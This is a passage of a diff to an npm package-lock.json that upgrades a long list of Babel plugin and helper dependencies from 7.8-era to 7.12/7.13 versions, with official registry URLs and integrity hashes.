+ "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1",
+ "@babel/plugin-proposal-optional-chaining": "^7.13.12"
+ }
+ },
+ "@babel/plugin-proposal-async-generator-functions": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.13.15.tgz",
+ "integrity": "sha512-VapibkWzFeoa6ubXy/NgV5U2U4MVnUlvnx6wo1XhlsaTrLYWE0UFpDQsVrmn22q5CzeloqJ8gEMHSKxuee6ZdA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/helper-remap-async-to-generator": "^7.13.0",
+ "@babel/plugin-syntax-async-generators": "^7.8.4"
}
},
"@babel/plugin-proposal-class-properties": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.8.3.tgz",
- "integrity": "sha512-EqFhbo7IosdgPgZggHaNObkmO1kNUe3slaKu54d5OWvy+p9QIKOzK1GAEpAIsZtWVtPXUHSMcT4smvDrCfY4AA==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.13.0.tgz",
+ "integrity": "sha512-KnTDjFNC1g+45ka0myZNvSBFLhNCLN+GeGYLDEA8Oq7MZ6yMgfLoIRh86GRT0FjtJhZw8JyUskP9uvj5pHM9Zg==",
"dev": true,
"requires": {
- "@babel/helper-create-class-features-plugin": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-create-class-features-plugin": "^7.13.0",
+ "@babel/helper-plugin-utils": "^7.13.0"
}
},
"@babel/plugin-proposal-dynamic-import": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.8.3.tgz",
- "integrity": "sha512-NyaBbyLFXFLT9FP+zk0kYlUlA8XtCUbehs67F0nnEg7KICgMc2mNkIeu9TYhKzyXMkrapZFwAhXLdnt4IYHy1w==",
+ "version": "7.13.8",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.13.8.tgz",
+ "integrity": "sha512-ONWKj0H6+wIRCkZi9zSbZtE/r73uOhMVHh256ys0UzfM7I3d4n+spZNWjOnJv2gzopumP2Wxi186vI8N0Y2JyQ==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-syntax-dynamic-import": "^7.8.0"
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/plugin-syntax-dynamic-import": "^7.8.3"
+ }
+ },
+ "@babel/plugin-proposal-export-namespace-from": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.12.13.tgz",
+ "integrity": "sha512-INAgtFo4OnLN3Y/j0VwAgw3HDXcDtX+C/erMvWzuV9v71r7urb6iyMXu7eM9IgLr1ElLlOkaHjJ0SbCmdOQ3Iw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.12.13",
+ "@babel/plugin-syntax-export-namespace-from": "^7.8.3"
}
},
"@babel/plugin-proposal-json-strings": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.8.3.tgz",
- "integrity": "sha512-KGhQNZ3TVCQG/MjRbAUwuH+14y9q0tpxs1nWWs3pbSleRdDro9SAMMDyye8HhY1gqZ7/NqIc8SKhya0wRDgP1Q==",
+ "version": "7.13.8",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.13.8.tgz",
+ "integrity": "sha512-w4zOPKUFPX1mgvTmL/fcEqy34hrQ1CRcGxdphBc6snDnnqJ47EZDIyop6IwXzAC8G916hsIuXB2ZMBCExC5k7Q==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-syntax-json-strings": "^7.8.0"
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/plugin-syntax-json-strings": "^7.8.3"
+ }
+ },
+ "@babel/plugin-proposal-logical-assignment-operators": {
+ "version": "7.13.8",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.13.8.tgz",
+ "integrity": "sha512-aul6znYB4N4HGweImqKn59Su9RS8lbUIqxtXTOcAGtNIDczoEFv+l1EhmX8rUBp3G1jMjKJm8m0jXVp63ZpS4A==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4"
}
},
"@babel/plugin-proposal-nullish-coalescing-operator": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.8.3.tgz",
- "integrity": "sha512-TS9MlfzXpXKt6YYomudb/KU7nQI6/xnapG6in1uZxoxDghuSMZsPb6D2fyUwNYSAp4l1iR7QtFOjkqcRYcUsfw==",
+ "version": "7.13.8",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.13.8.tgz",
+ "integrity": "sha512-iePlDPBn//UhxExyS9KyeYU7RM9WScAG+D3Hhno0PLJebAEpDZMocbDe64eqynhNAnwz/vZoL/q/QB2T1OH39A==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0"
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3"
}
},
"@babel/plugin-proposal-numeric-separator": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.8.3.tgz",
- "integrity": "sha512-jWioO1s6R/R+wEHizfaScNsAx+xKgwTLNXSh7tTC4Usj3ItsPEhYkEpU4h+lpnBwq7NBVOJXfO6cRFYcX69JUQ==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.12.13.tgz",
+ "integrity": "sha512-O1jFia9R8BUCl3ZGB7eitaAPu62TXJRHn7rh+ojNERCFyqRwJMTmhz+tJ+k0CwI6CLjX/ee4qW74FSqlq9I35w==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-syntax-numeric-separator": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13",
+ "@babel/plugin-syntax-numeric-separator": "^7.10.4"
}
},
"@babel/plugin-proposal-object-rest-spread": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.9.6.tgz",
- "integrity": "sha512-Ga6/fhGqA9Hj+y6whNpPv8psyaK5xzrQwSPsGPloVkvmH+PqW1ixdnfJ9uIO06OjQNYol3PMnfmJ8vfZtkzF+A==",
+ "version": "7.13.8",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.13.8.tgz",
+ "integrity": "sha512-DhB2EuB1Ih7S3/IRX5AFVgZ16k3EzfRbq97CxAVI1KSYcW+lexV8VZb7G7L8zuPVSdQMRn0kiBpf/Yzu9ZKH0g==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-syntax-object-rest-spread": "^7.8.0",
- "@babel/plugin-transform-parameters": "^7.9.5"
+ "@babel/compat-data": "^7.13.8",
+ "@babel/helper-compilation-targets": "^7.13.8",
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+ "@babel/plugin-transform-parameters": "^7.13.0"
}
},
"@babel/plugin-proposal-optional-catch-binding": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.8.3.tgz",
- "integrity": "sha512-0gkX7J7E+AtAw9fcwlVQj8peP61qhdg/89D5swOkjYbkboA2CVckn3kiyum1DE0wskGb7KJJxBdyEBApDLLVdw==",
+ "version": "7.13.8",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.13.8.tgz",
+ "integrity": "sha512-0wS/4DUF1CuTmGo+NiaHfHcVSeSLj5S3e6RivPTg/2k3wOv3jO35tZ6/ZWsQhQMvdgI7CwphjQa/ccarLymHVA==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-syntax-optional-catch-binding": "^7.8.0"
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/plugin-syntax-optional-catch-binding": "^7.8.3"
}
},
"@babel/plugin-proposal-optional-chaining": {
- "version": "7.9.0",
- "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.9.0.tgz",
- "integrity": "sha512-NDn5tu3tcv4W30jNhmc2hyD5c56G6cXx4TesJubhxrJeCvuuMpttxr0OnNCqbZGhFjLrg+NIhxxC+BK5F6yS3w==",
+ "version": "7.13.12",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.13.12.tgz",
+ "integrity": "sha512-fcEdKOkIB7Tf4IxrgEVeFC4zeJSTr78no9wTdBuZZbqF64kzllU0ybo2zrzm7gUQfxGhBgq4E39oRs8Zx/RMYQ==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/plugin-syntax-optional-chaining": "^7.8.0"
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1",
+ "@babel/plugin-syntax-optional-chaining": "^7.8.3"
+ }
+ },
+ "@babel/plugin-proposal-private-methods": {
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.13.0.tgz",
+ "integrity": "sha512-MXyyKQd9inhx1kDYPkFRVOBXQ20ES8Pto3T7UZ92xj2mY0EVD8oAVzeyYuVfy/mxAdTSIayOvg+aVzcHV2bn6Q==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-create-class-features-plugin": "^7.13.0",
+ "@babel/helper-plugin-utils": "^7.13.0"
}
},
"@babel/plugin-proposal-unicode-property-regex": {
- "version": "7.8.8",
- "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.8.8.tgz",
- "integrity": "sha512-EVhjVsMpbhLw9ZfHWSx2iy13Q8Z/eg8e8ccVWt23sWQK5l1UdkoLJPN5w69UA4uITGBnEZD2JOe4QOHycYKv8A==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.12.13.tgz",
+ "integrity": "sha512-XyJmZidNfofEkqFV5VC/bLabGmO5QzenPO/YOfGuEbgU+2sSwMmio3YLb4WtBgcmmdwZHyVyv8on77IUjQ5Gvg==",
"dev": true,
"requires": {
- "@babel/helper-create-regexp-features-plugin": "^7.8.8",
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-create-regexp-features-plugin": "^7.12.13",
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-syntax-async-generators": {
@@ -501,6 +1781,15 @@
"@babel/helper-plugin-utils": "^7.8.0"
}
},
+ "@babel/plugin-syntax-class-properties": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",
+ "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.12.13"
+ }
+ },
"@babel/plugin-syntax-dynamic-import": {
"version": "7.8.3",
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz",
@@ -510,6 +1799,15 @@
"@babel/helper-plugin-utils": "^7.8.0"
}
},
+ "@babel/plugin-syntax-export-namespace-from": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz",
+ "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.8.3"
+ }
+ },
"@babel/plugin-syntax-json-strings": {
"version": "7.8.3",
"resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
@@ -520,12 +1818,21 @@
}
},
"@babel/plugin-syntax-jsx": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.8.3.tgz",
- "integrity": "sha512-WxdW9xyLgBdefoo0Ynn3MRSkhe5tFVxxKNVdnZSh318WrG2e2jH+E9wd/++JsqcLJZPfz87njQJ8j2Upjm0M0A==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.13.tgz",
+ "integrity": "sha512-d4HM23Q1K7oq/SLNmG6mRt85l2csmQ0cHRaxRXjKW0YFdEXqlZ5kzFQKH5Uc3rDJECgu+yCRgPkG04Mm98R/1g==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
+ }
+ },
+ "@babel/plugin-syntax-logical-assignment-operators": {
+ "version": "7.10.4",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz",
+ "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.10.4"
}
},
"@babel/plugin-syntax-nullish-coalescing-operator": {
@@ -538,12 +1845,12 @@
}
},
"@babel/plugin-syntax-numeric-separator": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.8.3.tgz",
- "integrity": "sha512-H7dCMAdN83PcCmqmkHB5dtp+Xa9a6LKSvA2hiFBC/5alSHxM5VgWZXFqDi0YFe8XNGT6iCa+z4V4zSt/PdZ7Dw==",
+ "version": "7.10.4",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",
+ "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.10.4"
}
},
"@babel/plugin-syntax-object-rest-spread": {
@@ -574,456 +1881,683 @@
}
},
"@babel/plugin-syntax-top-level-await": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.8.3.tgz",
- "integrity": "sha512-kwj1j9lL/6Wd0hROD3b/OZZ7MSrZLqqn9RAZ5+cYYsflQ9HZBIKCUkr3+uL1MEJ1NePiUbf98jjiMQSv0NMR9g==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.12.13.tgz",
+ "integrity": "sha512-A81F9pDwyS7yM//KwbCSDqy3Uj4NMIurtplxphWxoYtNPov7cJsDkAFNNyVlIZ3jwGycVsurZ+LtOA8gZ376iQ==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-arrow-functions": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.8.3.tgz",
- "integrity": "sha512-0MRF+KC8EqH4dbuITCWwPSzsyO3HIWWlm30v8BbbpOrS1B++isGxPnnuq/IZvOX5J2D/p7DQalQm+/2PnlKGxg==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.13.0.tgz",
+ "integrity": "sha512-96lgJagobeVmazXFaDrbmCLQxBysKu7U6Do3mLsx27gf5Dk85ezysrs2BZUpXD703U/Su1xTBDxxar2oa4jAGg==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.13.0"
}
},
"@babel/plugin-transform-async-to-generator": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.8.3.tgz",
- "integrity": "sha512-imt9tFLD9ogt56Dd5CI/6XgpukMwd/fLGSrix2httihVe7LOGVPhyhMh1BU5kDM7iHD08i8uUtmV2sWaBFlHVQ==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.13.0.tgz",
+ "integrity": "sha512-3j6E004Dx0K3eGmhxVJxwwI89CTJrce7lg3UrtFuDAVQ/2+SJ/h/aSFOeE6/n0WB1GsOffsJp6MnPQNQ8nmwhg==",
"dev": true,
"requires": {
- "@babel/helper-module-imports": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/helper-remap-async-to-generator": "^7.8.3"
+ "@babel/helper-module-imports": "^7.12.13",
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/helper-remap-async-to-generator": "^7.13.0"
}
},
"@babel/plugin-transform-block-scoped-functions": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.8.3.tgz",
- "integrity": "sha512-vo4F2OewqjbB1+yaJ7k2EJFHlTP3jR634Z9Cj9itpqNjuLXvhlVxgnjsHsdRgASR8xYDrx6onw4vW5H6We0Jmg==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.12.13.tgz",
+ "integrity": "sha512-zNyFqbc3kI/fVpqwfqkg6RvBgFpC4J18aKKMmv7KdQ/1GgREapSJAykLMVNwfRGO3BtHj3YQZl8kxCXPcVMVeg==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-block-scoping": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.8.3.tgz",
- "integrity": "sha512-pGnYfm7RNRgYRi7bids5bHluENHqJhrV4bCZRwc5GamaWIIs07N4rZECcmJL6ZClwjDz1GbdMZFtPs27hTB06w==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.12.13.tgz",
+ "integrity": "sha512-Pxwe0iqWJX4fOOM2kEZeUuAxHMWb9nK+9oh5d11bsLoB0xMg+mkDpt0eYuDZB7ETrY9bbcVlKUGTOGWy7BHsMQ==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "lodash": "^4.17.13"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-classes": {
- "version": "7.9.5",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.9.5.tgz",
- "integrity": "sha512-x2kZoIuLC//O5iA7PEvecB105o7TLzZo8ofBVhP79N+DO3jaX+KYfww9TQcfBEZD0nikNyYcGB1IKtRq36rdmg==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.13.0.tgz",
+ "integrity": "sha512-9BtHCPUARyVH1oXGcSJD3YpsqRLROJx5ZNP6tN5vnk17N0SVf9WCtf8Nuh1CFmgByKKAIMstitKduoCmsaDK5g==",
"dev": true,
"requires": {
- "@babel/helper-annotate-as-pure": "^7.8.3",
- "@babel/helper-define-map": "^7.8.3",
- "@babel/helper-function-name": "^7.9.5",
- "@babel/helper-optimise-call-expression": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/helper-replace-supers": "^7.8.6",
- "@babel/helper-split-export-declaration": "^7.8.3",
+ "@babel/helper-annotate-as-pure": "^7.12.13",
+ "@babel/helper-function-name": "^7.12.13",
+ "@babel/helper-optimise-call-expression": "^7.12.13",
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/helper-replace-supers": "^7.13.0",
+ "@babel/helper-split-export-declaration": "^7.12.13",
"globals": "^11.1.0"
+ },
+ "dependencies": {
+ "@babel/code-frame": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz",
+ "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==",
+ "dev": true,
+ "requires": {
+ "@babel/highlight": "^7.12.13"
+ }
+ },
+ "@babel/helper-function-name": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz",
+ "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-get-function-arity": "^7.12.13",
+ "@babel/template": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-get-function-arity": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz",
+ "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-split-export-declaration": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz",
+ "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/highlight": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz",
+ "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ }
+ },
+ "@babel/parser": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz",
+ "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==",
+ "dev": true
+ },
+ "@babel/template": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz",
+ "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/parser": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/plugin-transform-computed-properties": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.8.3.tgz",
- "integrity": "sha512-O5hiIpSyOGdrQZRQ2ccwtTVkgUDBBiCuK//4RJ6UfePllUTCENOzKxfh6ulckXKc0DixTFLCfb2HVkNA7aDpzA==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.13.0.tgz",
+ "integrity": "sha512-RRqTYTeZkZAz8WbieLTvKUEUxZlUTdmL5KGMyZj7FnMfLNKV4+r5549aORG/mgojRmFlQMJDUupwAMiF2Q7OUg==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.13.0"
}
},
"@babel/plugin-transform-destructuring": {
- "version": "7.9.5",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.9.5.tgz",
- "integrity": "sha512-j3OEsGel8nHL/iusv/mRd5fYZ3DrOxWC82x0ogmdN/vHfAP4MYw+AFKYanzWlktNwikKvlzUV//afBW5FTp17Q==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.13.0.tgz",
+ "integrity": "sha512-zym5em7tePoNT9s964c0/KU3JPPnuq7VhIxPRefJ4/s82cD+q1mgKfuGRDMCPL0HTyKz4dISuQlCusfgCJ86HA==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.13.0"
}
},
"@babel/plugin-transform-dotall-regex": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.8.3.tgz",
- "integrity": "sha512-kLs1j9Nn4MQoBYdRXH6AeaXMbEJFaFu/v1nQkvib6QzTj8MZI5OQzqmD83/2jEM1z0DLilra5aWO5YpyC0ALIw==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.12.13.tgz",
+ "integrity": "sha512-foDrozE65ZFdUC2OfgeOCrEPTxdB3yjqxpXh8CH+ipd9CHd4s/iq81kcUpyH8ACGNEPdFqbtzfgzbT/ZGlbDeQ==",
"dev": true,
"requires": {
- "@babel/helper-create-regexp-features-plugin": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-create-regexp-features-plugin": "^7.12.13",
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-duplicate-keys": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.8.3.tgz",
- "integrity": "sha512-s8dHiBUbcbSgipS4SMFuWGqCvyge5V2ZeAWzR6INTVC3Ltjig/Vw1G2Gztv0vU/hRG9X8IvKvYdoksnUfgXOEQ==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.12.13.tgz",
+ "integrity": "sha512-NfADJiiHdhLBW3pulJlJI2NB0t4cci4WTZ8FtdIuNc2+8pslXdPtRRAEWqUY+m9kNOk2eRYbTAOipAxlrOcwwQ==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3"
+ "@babel/helper-plugin-utils": "^7.12.13"
}
},
"@babel/plugin-transform-exponentiation-operator": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.8.3.tgz",
